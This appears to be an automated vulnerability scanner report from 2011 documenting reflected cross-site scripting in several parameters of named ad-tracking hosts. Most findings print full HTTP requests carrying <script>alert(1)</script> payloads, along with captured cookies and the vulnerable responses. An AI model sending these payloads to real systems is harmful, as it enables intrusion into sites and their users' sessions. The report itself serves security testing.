GET /beacon.js?c1=8&c2=3005693&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c5=&c6=&c10=cf572<script>alert(1)</script>be998e59288&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:37 GMT Date: Tue, 25 Jan 2011 04:27:37 GMT Connection: close Content-Length: 3605
The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload 3fa48<script>alert(1)</script>a33599a785c was submitted in the c15 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=8&c2=3005693&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c5=&c6=&c10=&c15=3fa48<script>alert(1)</script>a33599a785c HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:38 GMT Date: Tue, 25 Jan 2011 04:27:38 GMT Connection: close Content-Length: 3605
The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload 9ff59<script>alert(1)</script>ec861509ebc was submitted in the c2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=8&c2=30056939ff59<script>alert(1)</script>ec861509ebc&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c5=&c6=&c10=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:33 GMT Date: Tue, 25 Jan 2011 04:27:33 GMT Connection: close Content-Length: 3605
The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload d043f<script>alert(1)</script>72d7f31550d was submitted in the c3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=8&c2=3005693&c3=3d043f<script>alert(1)</script>72d7f31550d&c4=http%3A%2F%2Fwww.tweetmeme.com&c5=&c6=&c10=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:34 GMT Date: Tue, 25 Jan 2011 04:27:34 GMT Connection: close Content-Length: 3605
The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload 9dfc1<script>alert(1)</script>ed1e8fa244a was submitted in the c4 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=8&c2=3005693&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com9dfc1<script>alert(1)</script>ed1e8fa244a&c5=&c6=&c10=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:36 GMT Date: Tue, 25 Jan 2011 04:27:36 GMT Connection: close Content-Length: 3605
The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload 84bc2<script>alert(1)</script>2159a214127 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=8&c2=3005693&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c5=84bc2<script>alert(1)</script>2159a214127&c6=&c10=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:37 GMT Date: Tue, 25 Jan 2011 04:27:37 GMT Connection: close Content-Length: 3605
The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 354be<script>alert(1)</script>f770b61399d was submitted in the c6 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=8&c2=3005693&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c5=&c6=354be<script>alert(1)</script>f770b61399d&c10=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:37 GMT Date: Tue, 25 Jan 2011 04:27:37 GMT Connection: close Content-Length: 3605
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c264"><script>alert(1)</script>21d6b206b37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM5c264"><script>alert(1)</script>21d6b206b37/DLX/1@x71 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; NSC_o4efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660; Dominos=DataXuB3; RMFM=011PhXovU106w2; session=1295919344|1295919347
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 328 Content-Type: text/html
<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/B3DM5c264"><script>alert(1)</script>21d6b206b37/DLX/1036330295/x71/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG SR ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb522"><script>alert(1)</script>402135baf54 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLXfb522"><script>alert(1)</script>402135baf54/1@x71 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; NSC_o4efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660; Dominos=DataXuB3; RMFM=011PhXovU106w2; session=1295919344|1295919347
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:30:08 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 328 Content-Type: text/html
<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLXfb522"><script>alert(1)</script>402135baf54/1175098218/x71/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG SR ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebfa7"><script>alert(1)</script>f3beed6f077 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/B3DM/DLX/1@x71ebfa7"><script>alert(1)</script>f3beed6f077 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; NSC_o4efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660; Dominos=DataXuB3; RMFM=011PhXovU106w2; session=1295919344|1295919347
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:30:22 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 318 Content-Type: text/html
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e85b3"><script>alert(1)</script>c1623e50091 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/DataXuB3e85b3"><script>alert(1)</script>c1623e50091/Dominos/11Q1/Opt/120/1[timestamp]@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:14 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 362 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2a45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd703"><script>alert(1)</script>0833f72734d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/DataXuB3/Dominosbd703"><script>alert(1)</script>0833f72734d/11Q1/Opt/120/1[timestamp]@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:26 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 362 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71872"><script>alert(1)</script>6ced5e37719 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/DataXuB3/Dominos/11Q171872"><script>alert(1)</script>6ced5e37719/Opt/120/1[timestamp]@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:37 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 362 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2d45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64bfe"><script>alert(1)</script>ddbcff87e70 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/DataXuB3/Dominos/11Q1/Opt64bfe"><script>alert(1)</script>ddbcff87e70/120/1[timestamp]@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 361 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2a45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37e69"><script>alert(1)</script>5d8b3695d63 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/DataXuB3/Dominos/11Q1/Opt/12037e69"><script>alert(1)</script>5d8b3695d63/1[timestamp]@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:57 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 361 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2a45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 679d0"><script>alert(1)</script>49f4f95843e was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/DataXuB3/Dominos/11Q1/Opt/120/1[timestamp]@x90679d0"><script>alert(1)</script>49f4f95843e HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:30:17 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 354 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660;path=/
The value of the c request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 2e0e8%3balert(1)//1d431df288b was submitted in the c parameter. This input was echoed as 2e0e8;alert(1)//1d431df288b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
